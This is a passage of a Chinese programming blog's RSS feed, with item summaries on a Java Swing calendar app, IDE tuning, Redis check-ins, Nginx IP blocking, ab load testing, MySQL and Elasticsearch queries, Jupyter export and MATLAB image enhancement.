      <description>最近刚学了gui部分的内容，练手和两个同学一起做了一个小日历，第一次做没啥经验，代码多多少少有点不规范的，各位见谅，下面浅浅讲一下思路。&#xA;代码已给出了每段比较详细的注释，整体分FirstFrame和MainFrame，first上有两个按钮，分别加监听触发退出和进入主页面&#xA;然后main中是整体精华所在，通过不断setText每个按钮上的文字，来达到切换时，日期自动切换的功能，然后，有年份选择和月份选择两个列表框，通过获取列表框中的内容，来设置当前应该显示的时间。&#xA;这个是mainframe的页面：&#xA;然后本日历记事本还可以通过点击当天按钮，然后唤起一个文本框，可以输入想要记录的备忘事项，并且，当下次打开程序时，上次记录的事项可以通过文件可持续化保存，这也属于一个小功能。&#xA;整体项目分三个java文件，分别是TextBook：主要代码，TextFile：文件操作，封装在一个类中了，Start启动器&#xA;在文章底部有源码链接&#xA;下面是TextBook.java文件：&#xA;package com.tt.Textbook; import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.io.*; import java.net.*; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; import java.util.GregorianCalendar; //初始页面 class FirstFrame extends JFrame { public FirstFrame(){ //container分为上下表格布局 Container FirstContainer = this.getContentPane(); FirstContainer.setLayout( new GridLayout(2,1) ); //需要两个面板，分别是标题和退出框以及进入按钮 Panel panel1 = new Panel( new BorderLayout() ); Panel panel2 = new Panel( new GridLayout(1,3) );//下部分的1行3列表格布局 Panel panel3 = new Panel( new GridLayout(2,1) );//下面中间的二层布局 Panel panel4 = new Panel( new FlowLayout() );//下中之一 Panel panel5 = new Panel( new FlowLayout() );//下中之二 //导入标题图片 ImageIcon Titleimg = new ImageIcon( &#34;</description>
    </item>
    <item>
      <title>IDEA运行缓慢卡顿，解决idea卡顿，控制台中文乱码 以及其它常用设置</title>
      <link>https://bchobby.github.io/posts/abd29a3dac8dd94551cb04fbea83ae65/</link>
      <pubDate>Fri, 02 Dec 2022 14:34:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abd29a3dac8dd94551cb04fbea83ae65/</guid>
      <description>IDEA运行缓慢卡顿，解决idea卡顿问题以及常用设置 IDEA卡顿原因优化IDEA配置 ---- 重点推荐的方法手动修改IDEA配置步骤其他卡顿优化(参考)1.idea启动时会有两个快捷方式2. 卸载不需要用的插件3.减少内存4.适当关闭idea的Inspections的检查或者开发时完全关闭Inspections的检查，等开发完后在开启检查 idea控制台中文乱码解决idea其他基本设置 IDEA卡顿原因 使用IDEA时，总是点一下卡一下，真的对人是一种折磨！&#xA;其实，这种情况主要因为IDEA默认启动配置，一款软件它要考虑低配置用户，所以初始化参数不高（默认最低128m，最高512m），导致启动慢，然后运行也不流畅。因此我们需要优化下启动和运行配置。&#xA;优化IDEA配置 ---- 重点推荐的方法 由于IDEA初始参数低，但是在工作中的电脑一般都是8G或者16G的运行内存，所以我们需要手动去修改默认的IDEA配置。使得我们的体验更加流畅！&#xA;这里是主要是 idea安装目录下的bin文件夹下的idea.exe.vmoptions文件！&#xA;手动修改IDEA配置步骤 找到IDEA安装目录，进入bin文件夹下，找到idea.exe.vmoptions文件！ idea.exe.vmoptions：默认32位机器运行的idea64.exe.vmoptions：默认64位机器运行的&#xA;打开idea.exe.vmoptions 以及idea64.exe.vmoptions文件&#xA;关键的三个参数的说明&#xA;1、 -Xms 是最小启动内存参数&#xA;2、 -Xmx 是最大运行内存参数&#xA;3、 -XX:ReservedCodeCacheSize 保留代码占用的内存容量参数&#xA;手动修改&#xA;-Xms=512m-Xmx=1024m-XX:ReservedCodeCacheSize=300m 基本在原有基础增加一倍！如下图：&#xA;【如果你的电脑在8G以上，或者配置更好】&#xA;可以参考如下设置：&#xA;-Xms=1024m-Xmx=2048m-XX:ReservedCodeCacheSize =500m 保存后，重新打开IDEA，会发现运行速度明显提高，流畅很多！ 我们应根据具体情况更改合适的参数，并不一定完全按照我的参数！，但是只要增大参数，运行情况都会变得更优！&#xA;当然也可以分别改成 1024m 和 2048m，之后如果还卡，再往大了调，我估计应该也不会再卡了。&#xA;其他卡顿优化(参考) 1.idea启动时会有两个快捷方式 idea安装完后默认生成在桌面的是32位的idea的快捷方式，如果我们使用这个快捷方式运行大项目，一般都会很卡。解决方法是找到idea的安装目录，然后进入bin文件夹，找到名称为idea64的应用程序，右键他生成桌面快捷方式。以后每次启动都用它这个快捷方式就可以了。&#xA;2. 卸载不需要用的插件 对于Java开发，对于一些默认安装的什么安卓的google的app，前端的js框架 等插件可以卸载掉项目中根本不用不到的一些框架，Struts，Hibernate,Ant 等可以卸载&#xA;当然，具体应该根据我们的开发情况来停止一些不必要的插件！&#xA;3.减少内存 在设置项目的时候尽量不要将没有关系的项目放置在一个工程中，这样能够减少内存的使用&#xA;4.适当关闭idea的Inspections的检查或者开发时完全关闭Inspections的检查，等开发完后在开启检查 idea右下角（旧版）有一个 人头标志，可以点击，调准idea检查级别~&#xA;idea2021版本和企业版，都没有人头标志，在代码域右上角，如图，鼠标悬停！&#xA;主要用来设置当前编辑文档的代码检查等级&#xA;Inspections 为最高等级检查，可以检查单词拼写，语法错误，变量使用，方法之间调用等Syntax 可以检查单词拼写，简单语法错误None 不设置检查&#xA;IntelliJ IDEA 对于编辑大文件并没有太大优势，很卡，原因就是它有各种检查，这样是非常耗内存和 CPU 的，所以为了能加快大文件的读写，可以考虑暂时性设置为 None。 Power Save Mode 省电模式，也可以通过File -&amp;gt; Power Save Mode来设置，开启这种模式之后 IntelliJ IDEA 会关掉代码检查和代码提示等功能。如果在开发过程中遇到突然代码文件不能进行检查和提示可以来看看这里是否有开启该功能，但是为了代码正确率不建议开启！</description>
    </item>
    <item>
      <title>利用redis &#43; mysql 完成签到</title>
      <link>https://bchobby.github.io/posts/3f2773d4d12aaa521d3bc7e8ef744361/</link>
      <pubDate>Fri, 02 Dec 2022 13:43:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f2773d4d12aaa521d3bc7e8ef744361/</guid>
      <description>//用户签到实现&#xA;@PostMapping(“/check”)&#xA;public Result check(@PathVariable String id) {&#xA;//首先拼接key&#xA;String day = DateFormatUtils.format(new Date(), “yyyy-MM-dd”);&#xA;String key = id + “:” +day;&#xA;//redis中是否存在该key&#xA;Boolean flag = redisTemplate.hasKey(key);&#xA;if(flag){&#xA;return Result.error(500,“今日用户已签到”);&#xA;}else{&#xA;//设置redis中的过期时间，凌晨0点清空；&#xA;redisTemplate.opsForValue().set(key, day, getRefreshTime(), TimeUnit.SECONDS);&#xA;//将未签到用户记录在mysql中&#xA;int i = iPlatUserService.insert(id);&#xA;if(i &amp;gt; 0){&#xA;//签到成功&#xA;return Result.success(“用户成功签到”);&#xA;}else {&#xA;return Result.error(500,“由于不正常原因，用户签到失败！”);&#xA;}&#xA;}&#xA;}&#xA;/* * 获取当前时间离明天凌晨还有多少时间 * */ public static int getRefreshTime(){ Calendar calendar = Calendar.getInstance(); int now = (int) (calendar.</description>
    </item>
    <item>
      <title>Vue Element Select选择器自定义验证规则</title>
      <link>https://bchobby.github.io/posts/853c08809874934253ffda78d4ea0424/</link>
      <pubDate>Fri, 02 Dec 2022 12:35:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/853c08809874934253ffda78d4ea0424/</guid>
      <description>前言 在我们在做增删改查的时候，一般会遇到添加和修改的from表单需要表单验证。&#xA;一般常规的from表单是有自己的验证规则，from加一个 :rules=&#34;rules&#34;但他需要v-model值和prop值要一样，这是常规情况。&#xA;我遇到的是，绑定多个负责人和对应的电话，加验证规则。&#xA;实际场景&#xA;1.我们在from表单绑定多个负责人就需要使用到 select 选择器，下拉的数据是点击打开弹框时发请求来的。&#xA;2.点击选中的时候，数据时对象形式，id 名字 电话 绑定在一起的。选中负责人的时候，我们是把一整个对象存到数组里面&#xA;3.因为我们用的是select下拉多选，也不能用常规的验证规则，他会不起作用，我们要写from表单自定义验证规则&#xA;select多选&#xA;下拉框数据&#xA;{ id: &#39;1&#39;, name: &#39;秦大大&#39;, phonf: &#39;15220730439&#39; }, select下拉款选中时绑定的是对象&#xA;我们只需要给他绑定一个属性，value就可以直接绑定对象 具体下面有代码&#xA;// 这个值最好是id 是唯一的 value-key=&#34;id&#34; 输入框表单事件&#xA;获取焦点：focus 失去焦点：blur 输入事件input 变化事件change 自定义表单验证在data下面写 在rules里面直接通过validator用 下面有代码&#xA;实际操作&#xA;1.添加form表单数据&#xA;&amp;lt;el-form-item label=&#34;负责人&#34; prop=&#34;principalopen&#34;&amp;gt; &amp;lt;!-- &amp;lt;el-input v-model.number=&#34;form.contact&#34; autocomplete=&#34;off&#34;&amp;gt;&amp;lt;/el-input&amp;gt; --&amp;gt; // 多选下拉框 // multiple 多选 // value-key=&#34;id&#34; 给value绑定为一只 这样value就可以选中item &amp;lt;el-select v-model=&#34;principalopen&#34; multiple value-key=&#34;id&#34; placeholder=&#34;请选择负责人&#34; style=&#34;width: 100%&#34; &amp;gt; // 下拉框数据 &amp;lt;el-option v-for=&#34;</description>
    </item>
    <item>
      <title>uniAPP 原生插件测试 提示 未配置AppKey或配置错误问题排查</title>
      <link>https://bchobby.github.io/posts/f4236992aea279f440fb3d936a0b2a1e/</link>
      <pubDate>Fri, 02 Dec 2022 12:34:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4236992aea279f440fb3d936a0b2a1e/</guid>
      <description>1,申请 android平台的AppKey(说明文档). 申请地址&#xA;2,Android平台配置&#xA;(1) 获取到android平台的AppKey后！打开Android项目 配置主APP的Androidmanifest.xml文件， 导航到Application节点，创建meta-data节点，name为dcloud_appkey，value为申请的AppKey如下：&#xA;&amp;lt;application ...&amp;gt; &amp;lt;meta-data android:name=&#34;dcloud_appkey&#34; android:value=&#34;替换为自己申请的Appkey&#34; /&amp;gt; (2) 主APP的build.gradle文件的android节点下配置 签名文件信息 如下:&#xA;signingConfigs { config { keyAlias &#39;签名别名&#39; keyPassword &#39;签名密码&#39; storeFile file(&#39;xxx/xxx/xxx.keystore或xxx/xxx/xxx.jks&#39;) // 路劲为相对路径或绝对路径 storePassword &#39;密码&#39; v1SigningEnabled true //兼容v1 v2SigningEnabled true //兼容v2 } } buildTypes { debug { signingConfig signingConfigs.config ... } release { signingConfig signingConfigs.config ... } } (3)查看离线项目中dcloud_control.xml文件中的appid是否与申请AppKey时的appid一致。&#xA;(4)检测离线项目的包名是否申请AppKey时的包名是否一致。&#xA;详见文档: uniAPP离线打包key申请及注意事项</description>
    </item>
    <item>
      <title>Nginx配置IP拦截</title>
      <link>https://bchobby.github.io/posts/084a47afd615d0e9ecad8ddc1d7cfcf0/</link>
      <pubDate>Fri, 02 Dec 2022 11:03:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/084a47afd615d0e9ecad8ddc1d7cfcf0/</guid>
      <description>最近百家饭团队开源了一个Nginx日志分析工具APIcat，这周在生成报告的基础上，实现了基于Nginx的自动拦截防护，正好研究了一下Nginx配置IP拦截的配置&#xA;配置方式 nginx配置ip拦截基本是通过deny和allow两个配置关键字来实现的。可以配置单ip的拦截放行，也可以配置网段的拦截放行，比如：&#xA;allow 1.2.3.4; deny 1.2.3.4/24; allow 1.2.3.4/16; deny all; 关键字后跟具体的IP或者CIDR格式的网段即可，注意加上; 否则会报格式错误。&#xA;配置和一般防火墙一样，匹配从上到下进行，匹配到的第一条就生效，比如上面这个例子，1.2.3.4会直接匹配第一条单IP的配置，而1.2.3.1会匹配第二条，1.2.4.1会匹配第三条。如果配置的顺序改变了，就会影响匹配效果，比如，如果写成这样：&#xA;deny 1.2.3.4/24; allow 1.2.3.4; allow 1.2.3.4/16; deny all; 1.2.3.4会因为匹配到第一条而造成直接被deny。 配置的地点 一共有三个地方可以配置IP拦截。&#xA;配置为全局拦截 在nginx.conf里面我们可以配置全局的客户IP拦截，在配置的http段增加deny标识即可&#xA;http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main &#39;$remote_addr - $remote_user [$time_local] &#34;$request&#34; &#39; &#39;$status $body_bytes_sent &#34;$http_referer&#34; &#39; &#39;&#34;$http_user_agent&#34; &#34;$http_x_forwarded_for&#34;&#39;; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #看这里 deny 1.2.3.4; #gzip on; include /etc/nginx/conf.d/*.conf; } 配置为单服务模式 如果只是对某个server配置IP拦截，则可以在server段配置，针对debian/ubuntu等，server配置在conf.d/里面，则可以不在nginx.conf里配置，而在conf.d里面的具体配置文件里配置。例如&#xA;server { listen 80; server_name localhost; # 看这里 deny 1.</description>
    </item>
    <item>
      <title>Linux ab压力测试工具安装教程</title>
      <link>https://bchobby.github.io/posts/0f3e51280b2e058935b5df711d83aee1/</link>
      <pubDate>Fri, 02 Dec 2022 09:13:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f3e51280b2e058935b5df711d83aee1/</guid>
      <description>直接执行命令&#xA;yum install httpd-tools 通过 命令查看使用详解&#xA;ab --help或者man ab&#xA;使用&#xA;ab参数选项&#xA;-n：即requests，用于指定压力测试总共的执行次数（常用）。 -c：即concurrency，用于指定的并发数（常用）。 -t：即timelimit，等待响应的最大时间(单位：秒)。 -b：即windowsize，TCP发送/接收的缓冲大小(单位：字节)。 -p：即postfile，发送POST请求时需要上传的文件，此外还必须设置-T参数。 -u：即putfile，发送PUT请求时需要上传的文件，此外还必须设置-T参数。 -T：即content-type，用于设置Content-Type请求头信息，例如：application/x-www-form-urlencoded，默认值为text/plain。 -v：即verbosity，指定打印帮助信息的冗余级别。 -w：以HTML表格形式打印结果。 -i：使用HEAD请求代替GET请求。 -x：插入字符串作为table标签的属性。 -y：插入字符串作为tr标签的属性。 -z：插入字符串作为td标签的属性。 -C：添加cookie信息，例如：&#34;Apache=1234&#34;(可以重复该参数选项以添加多个)。 -H：添加任意的请求头，例如：&#34;Accept-Encoding: gzip&#34;，请求头将会添加在现有的多个请求头之后(可以重复该参数选项以添加多个)。 -A：添加一个基本的网络认证信息，用户名和密码之间用英文冒号隔开。 -P：添加一个基本的代理认证信息，用户名和密码之间用英文冒号隔开。 -X：指定使用的和端口号，例如:&#34;126.10.10.3:88&#34;。 -V：打印版本号并退出。 -k：使用HTTP的KeepAlive特性。 -d：不显示百分比。 -S：不显示预估和警告信息。 -g：输出结果信息到gnuplot格式的文件中。 -e：输出结果信息到CSV格式的文件中。 -r：指定接收到错误信息时不退出程序。 -h：显示用法信息，其实就是ab -help。 结果&#xA;##首先是apache的版本信息 This is ApacheBench, Version 2.3 &amp;lt;Revision:655654&amp;gt; Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.xxx.xxx/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking xxx.xxx.com (be patient) Server Software: nginx Server Hostname: xxx.</description>
    </item>
    <item>
      <title>Pycharm如何配置运行参数</title>
      <link>https://bchobby.github.io/posts/30fac4aaf54f0218fca7132f6ba784dd/</link>
      <pubDate>Thu, 01 Dec 2022 23:14:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30fac4aaf54f0218fca7132f6ba784dd/</guid>
      <description># run_cnn.py文件中主函数的代码段 if __name__ == &#39;__main__&#39;: if len(sys.argv) != 2 or sys.argv[1] not in [&#39;train&#39;, &#39;test&#39;]: raise ValueError(&#34;&#34;&#34;usage: python run_rnn.py [train / test]&#34;&#34;&#34;) 这个主函数在执行时，需要传入参数。&#xA;有两种方式可以让这个.py文件执行起来：&#xA;1. 终端代码执行&#xA;python run_cnn.py train 这里的参数’train’不需要加双引号&#xA;2. pycharm中执行&#xA;在pycharm的右上角有个Run/Debug Configurations，在python下选中可执行文件run_cnn.py，第二行有个Parameters里填入train，不需要加引号&#xA;👏👏👏再看看我们以前的文章😃😃😃&#xA;🌺 Excel中数据分析工具库-相关系数篇&#xA;🌺 干货，手把手教会你做相关性分析&#xA;🌺 5年数据分析路，小结。&#xA;🌺 用户细分及画像分析&#xA;🌺 K-近邻算法及实践&#xA;欢迎关注，微信公众号“数据分析师之家”&#xA;扫描二维码 关注我们&#xA;💁提供职业规划、简历指导、面试辅导服务哦&#xA;QQ交流群：254674155&#xA;数据分析之家联合JEE RAY品牌为粉丝派发福利 添加粉丝福利派发官，领取粉丝福利哦</description>
    </item>
    <item>
      <title>MySQL中按天、自然周、月、季度、年份统计</title>
      <link>https://bchobby.github.io/posts/fc47dc8632ba429bef3fb559adbaac5e/</link>
      <pubDate>Thu, 01 Dec 2022 23:14:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc47dc8632ba429bef3fb559adbaac5e/</guid>
      <description>在Oracle数据库中，通过to_char()函数来操作日期变量，而在MySQL中，则通过date_format()函数实现日期相关周期的统计。date_format()函数一共有两个参数：date参数表示日期变量，format参数表示日期格式。&#xA;如果想查看date_format()函数的具体参数及其取值情况，可以搜索引擎中自行查询。比如输入“MYsql date_format”可以看到W3school中对该函数的详细介绍。&#xA;http://www.w3school.com.cn/sql/func_date_format.asp&#xA;1. 按天统计&#xA;format参数的取值为’%y%m%d’，可以按天输出统计结果。 SELECT DATE_FORMAT(postDateTime,&#39;%y年%m月%d日&#39;) as d,count(*) FROM table GROUP BY DATE_FORMAT(postDateTime,&#39;%y%m%d&#39;) ORDER BY d asc; 输出结果如下所示：&#xA;2. 按自然周统计&#xA;format()函数的format参数取值为’%y%u’时，可实现按年、年中的周来统计结果。如果在where条件中限制是某一年的周期，可以直接将format参数的值配置为’%u’，否则一定要用’%y%u’，不然会把不同年的第n周合并到一起而出现错乱。 SELECT DATE_FORMAT(postDateTime,&#39;%y年%u周&#39;) as w,min(postDateTime) as st,count(*) FROM table GROUP BY DATE_FORMAT(postDateTime,&#39;%y%u&#39;) ORDER BY w asc; 输出结果如下所示：&#xA;3. 按月统计&#xA;format()函数的format参数值为’%y%m’时，可实现按月份输出聚合结果。 SELECT DATE_FORMAT(postDateTime,&#39;%y年%m月&#39;) as m,count(*) FROM table GROUP BY DATE_FORMAT(postDateTime,&#39;%y%m&#39;) ORDER BY m asc 其统计结果如下所示：&#xA;4. 按季度统计&#xA;date_format()函数没有直接按照季节输出结果的功能，但这对于数据分析师并不是什么难事，自己利用月度聚合结果去加工以下即可： SELECT FLOOR((DATE_FORMAT(postDateTime,&#39;%m&#39;)-1)/3)+1 as q,min(postDateTime) as st,count(*) FROM table WHERE DATE_FORMAT(postDateTime,&#39;%Y&#39;) = 2018 GROUP BY FLOOR((DATE_FORMAT(postDateTime,&#39;%m&#39;)-1)/3)+1 ORDER BY q asc; 使用到了floor函数，根据月份去判断所属季节，并输出季节对应的起始月份。</description>
    </item>
    <item>
      <title>使用python查询Elasticsearch并导出所有数据</title>
      <link>https://bchobby.github.io/posts/ee31b8fc402a0fa9072efc836a699e0c/</link>
      <pubDate>Thu, 01 Dec 2022 23:12:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee31b8fc402a0fa9072efc836a699e0c/</guid>
      <description>作为数据分析师，要学的可真多！但一旦触及到数据，无论它在藏在哪里，只要我们想要使用，就真是无所不用其极阿，python刀操起来~&#xA;刚开始一直通过Kibana提供的工具来查询存储在Elasticsearch中的数据，统计个结果完全没问题。偶一日不仅仅是需要查询统计个结果，而是要对满足条件的结果近一步分析，此时发现手头的Kibana有点囧…&#xA;我神气的python出场啦&#xA;为了实现自己的需求，搬了会砖，又是修又是补，终于算是满足了自己的要求！&#xA;功能拆解&#xA;python连接Elasticsearch查询Elasticsearch打印结果导出所有结果数据将所有结果写入csv文件 1.打通python与Elasticsearch的通信 与python连接Oracle、MySQL差不多思路，这里需要用到Elasticsearch包，没有的赶紧使用pip install elasticsearch来安装。安装成功后，再使用from elasticsearch import Elasticsearch就不会报错了。&#xA;from elasticsearch import Elasticsearch es = Elasticsearch(hosts=&#34;http://192.168.21.33:9200/&#34;, http_auth=(&#39;abc&#39;,&#39;dataanalysis&#39;)) print(es.info()) 通过Elasticsearch()来配置连接，告诉它Elasticsearch所在服务器的IP地址，如果需要输入用户名密码，在http_auth参数中给出。如果打印连接的信息不报错，那就表明连接成功了&#xA;2.通过json查询体实现ES的查询 请求体与Kibana下使用的格式完全一致，如果不确定请求体写的对不对，可以放在Kibana下调试一下，调试正确了再放进来。&#xA;如下所示，通过&#34;_source&#34; : &#34;title&#34;可以限制返回结果只返回title字段。&#xA;query_json = { &#34;_source&#34;: &#34;title&#34;, &#34;query&#34;: { &#34;bool&#34;: { &#34;must&#34;: [ {&#34;match_phrase&#34;: { &#34;content&#34;: &#34;汽车&#34; }}, {&#34;match_phrase&#34;: { &#34;content&#34;: &#34;房子&#34; }} ] } } } query = es.search(index=&#39;mydata&#39;,body=query_json) print(query) 正常情况下，打印query不报错的话就可以看到结果了。但是，你会发现返回的结果只有有限的几条。这是因为Elasticsearch默认情况下只会返回10或20条结果，如果你想要得到所有结果，接下来的工作才是重点。&#xA;3.借助游标导出所有结果数据 敲黑板，划重点：&#xA;先借助游标，将所有结果数据存储到内存中然后将内存中的结果数据写入到磁盘，也就是文件中 query = es.search(index=&#39;1485073708892&#39;,body=query_json,scroll=&#39;5m&#39;,size=100) results = query[&#39;hits&#39;][&#39;hits&#39;] # es查询出的结果第一页 total = query[&#39;hits&#39;][&#39;total&#39;] # es查询出的结果总量 scroll_id = query[&#39;_scroll_id&#39;] # 游标用于输出es查询出的所有结果 for i in range(0, int(total/100)+1): # scroll参数必须指定否则会报错 query_scroll = es.</description>
    </item>
    <item>
      <title>hive sql中between and</title>
      <link>https://bchobby.github.io/posts/a4fccbacf59a31546dfdccbf7ca396b3/</link>
      <pubDate>Thu, 01 Dec 2022 23:03:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4fccbacf59a31546dfdccbf7ca396b3/</guid>
      <description>捣鼓了一下午，发现被复制结果集坑了。&#xA;哎感觉踩坑踩的像个无知的新手&#xA;select SUBSTRING(a.CREATED_TIME,0,7),dict_value,count(distinct a.mobile_no) as clues from dcs.NT_TP_P_CUSTOMERS a left join dcs.nt_sys_dictionary d on a.p_customer_from = d.dict_key where SUBSTRING(a.CREATED_TIME,1,7)&amp;gt;=&#39;2018-01&#39; and SUBSTRING(a.CREATED_TIME,1,7)&amp;lt;= &#39;2018-04&#39; group by SUBSTRING(a.CREATED_TIME,0,7),dict_value order by clues desc 这两种写法的结果是完全一致的。&#xA;select SUBSTRING(a.CREATED_TIME,0,7),dict_value,count(distinct a.mobile_no) as clues from dcs.NT_TP_P_CUSTOMERS a left join dcs.nt_sys_dictionary d on a.p_customer_from = d.dict_key where SUBSTRING(a.CREATED_TIME,1,7) in (&#39;2018-01&#39;,&#39;2018-02&#39;,&#39;2018-03&#39;,&#39;2018-04&#39;) group by SUBSTRING(a.CREATED_TIME,0,7),dict_value order by clues desc 但我不用in，单独使用筛选条件2018-01，2018-02，2018-03，2018-04然后将四份结果拼起来，发现大于between and的结果值。反复查才发现自己是掉到复制结果集的坑里了。结果集最多200行，所以全选复制后，就出错了。&#xA;👏👏👏再看看我们以前的文章😃😃😃&#xA;🌺 Excel中数据分析工具库-相关系数篇&#xA;🌺 干货，手把手教会你做相关性分析&#xA;🌺 5年数据分析路，小结。&#xA;🌺 用户细分及画像分析</description>
    </item>
    <item>
      <title>Jupyter notebook转化为html文件，隐藏代码块，生成自动化报告</title>
      <link>https://bchobby.github.io/posts/f74e0abd674512711eebefde9e20f93f/</link>
      <pubDate>Thu, 01 Dec 2022 22:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f74e0abd674512711eebefde9e20f93f/</guid>
      <description>使用ppt制作周报或月报是一项非常耗费时间的活，不过做业务分析的同学还是免不了要用PPT，其他的自动化报告工具又不会，只能死磕PPT。&#xA;数据分析师就不一样了，自动化报告可以选择R Markdown或者使用Jupyter notebook与PyEcharts强强联合，生成自动化报告。&#xA;1.将notebook转化为html文件 notebook的前端页面集成了导出文件为html的功能，直接使用这个功能，导出的html文件中呢会包含代码块。&#xA;2. 隐藏html文件中的code 如果是生成自动化报告，代码块就没有必要展示出来，该如何操作呢？&#xA;打开终端后，运行shell命令&#xA;jupyter nbconvert --to html --no-input f:/Python/file/PyEcharts/Untitled1.ipynb 如果不加上–no-input，会默认在Untitled1.ipynb所在的路径下生成一个html文件Untitled1.html，这个html文件中含有代码块部分内容；加上–no-input参数，就会将notebook中的代码块隐藏，只显示代码块运营的结果及notebook中类型为“markdown”的cell。&#xA;运行shell命令后，打印以下结果，文件转化成功。&#xA;[NbConvertApp] Converting notebook f:/Python/file/PyEcharts/Untitled1.ipynb to html [NbConvertApp] Writing 385793 bytes to f:/Python/file/PyEcharts\Untitled1.html 👏👏👏再看看我们以前的文章😃😃😃&#xA;🌺 Excel中数据分析工具库-相关系数篇&#xA;🌺 干货，手把手教会你做相关性分析&#xA;🌺 5年数据分析路，小结。&#xA;🌺 用户细分及画像分析&#xA;🌺 K-近邻算法及实践&#xA;欢迎关注，微信公众号“数据分析师之家”&#xA;扫描二维码 关注我们&#xA;💁提供职业规划、简历指导、面试辅导服务哦&#xA;QQ群：753936858（原群已满，新群号）&#xA;数据分析之家联合JEE RAY品牌为粉丝派发福利 添加粉丝福利派发官，领取粉丝福利哦</description>
    </item>
    <item>
      <title>第4季2：并口、MIPI、LVDS的简介</title>
      <link>https://bchobby.github.io/posts/f309003978af7b35dc2871a1e5561ac6/</link>
      <pubDate>Thu, 01 Dec 2022 22:07:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f309003978af7b35dc2871a1e5561ac6/</guid>
      <description>以下内容源于朱有鹏嵌入式课程的学习与整理，如有侵权请告知删除。&#xA;一、并口的简介 1、并口的含义 并口的含义，可以从AR0130或OV9712的原理图中形象地理解。&#xA;如下图所示，AR0130采用12bit的并口向SoC传输图像数据信息，而SoC和AR0130之间通过I2C接口来传递控制信息。&#xA;2、补充说明 （1）并口传输的是非差分的电平信号。&#xA;（2）并口sensor目前属于比较低端、老旧的产品。新型的像素比较高的sensor一般都采用MIPI、LVDS或HISPI接口，这些接口都采用差分信号传输信息。&#xA;二、LVDS的简介 1、LVDS的含义 LVDS是英文“low voltage differential signal”的缩写，中文意思是“低电压差分信号”。&#xA;2、补充说明 （1）接口由一组差分clock和若干组差分信号线组成。&#xA;（2）LVDS主要用于视频传输的两个领域，即视频采集领域（camera和主控）、显示领域（LCD与主控）。&#xA;（3）LVDS传输的是差分信号，其抗干扰性强，因此传输距离远，另外也允许通过提高时钟频率来提升带宽。&#xA;（4）LVDS数据线的组数越多则带宽越大，时钟频率越高则带宽越大（但时钟频率变高，抗干扰能力就会变差，传输距离就会变短）。&#xA;（5）并口、LVDS可以互相转换，但是需要专门的电平转换芯片。&#xA;三、MIPI 1、MIPI的含义 MIPI是“mobile industry processor interface”的缩写，中文意思是“移动工业处理器接口”。&#xA;2、补充说明 （1）MIPI接口由一组差分clock和1~4组差分信号线组成。&#xA;（2）MIPI和LVDS虽然都是差分对信号，但是不兼容，不能直接对接。&#xA;（3）MIPI的架构层次更分明，可以认为MIPI是LVDS的升级版。&#xA;（4）MIPI数据线的组数越多则带宽越大，时钟频率越高则带宽越大（但时钟频率变高，抗干扰能力就会变差，传输距离就会变短）。&#xA;（5）MIPI、LVDS、并口之间可以互相转换，但是需要专门的电平转换芯片。&#xA;（6）目前主流的sensor一般都使用MIPI接口。&#xA;四、总结 （1）低端、数据量小的就用电平信号接口，高端的、数据量大的就用差分信号接口。&#xA;（2）只有物理层、协议层、应用层对接，才能进行通信。&#xA;（3）因为历史原因，很多行业会使用不同的接口标准，必要时需要进行转换。</description>
    </item>
    <item>
      <title>matlab图像的增强</title>
      <link>https://bchobby.github.io/posts/58d970aa2726f305ff526e3c8ed5bc6e/</link>
      <pubDate>Thu, 01 Dec 2022 21:56:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58d970aa2726f305ff526e3c8ed5bc6e/</guid>
      <description>1.灰度变换增强&#xA;（1）图像直方图&#xA;（2）图像直方图的均衡化&#xA;2.频域滤波增强&#xA;（1）低通滤波器&#xA;（2）高通滤波器&#xA;（3）同态滤波器&#xA;3.彩色增强&#xA;（1）真彩色增强&#xA;（2）伪彩色增强&#xA;（3）假彩色增强&#xA;4.小波变换在图像增强方面的应用&#xA;图像增强是图像处理中的基本技术之一，它是把原来不清晰的图像变得清晰，或者抑制图像的某些特征而使另一些特征得到增强。其主要目的是使处理后的图像质量得到改善，增加图像的信噪比，或者增强图像的视觉效果。&#xA;一、灰度变换增强 由于受各种拍摄条件的限制，图像的对比度有时比较差，图像的直方图分布有时也不够均衡，主要的元素集中在几个像素值附近，通过直方图均衡化，可使得图像中各个像素值尽可能均匀地分布或者服从一定形式的分布，从而提高图像的对比度。&#xA;（1）图像直方图&#xA;直方图是多种空间域处理技术的基础。直方图操作能有效地增强图像，直方图固有的信息在其他图像处理应用中也是非常有用的，如图像压缩与分割。&#xA;调用imhist函数可以显示一幅图像的直方图。&#xA;clc; %clc的作用就是清屏幕 clear; %clear是删除所有的变量 close all; %close all是将所有打开的图片关掉。 array=zeros(1,256); I=imread(&#39;E:\我的桌面\MATLAB\练习\2.jpg&#39;); a=im2gray(I); %转换为灰度像素 subplot(121), imshow(a); %显示原图像 title(&#39;原始图像&#39;); subplot(122), imhist(I); %显示其直方图 title(&#39;直方图&#39;); （2）图像直方图的均衡化&#xA;又称直方图平坦化，实质上是对图像进行非线性拉伸，重新分配图像象元值，使一定灰度范围内象元值的数量大致相等。这样，原来直方图中间的峰顶部分对比度得到增强，而两侧的谷底部分对比度降低，输出图像的直方图是一个较平的分段直方图。&#xA;调用histeq函数用于直方图均衡化&#xA;clc; %clc的作用就是清屏幕 clear; %clear是删除所有的变量 close all; %close all是将所有打开的图片关掉。 array=zeros(1,256); I=imread(&#39;E:\我的桌面\MATLAB\练习\2.jpg&#39;); subplot(2,2,1); imshow(I); title(&#39;原始图像&#39;); 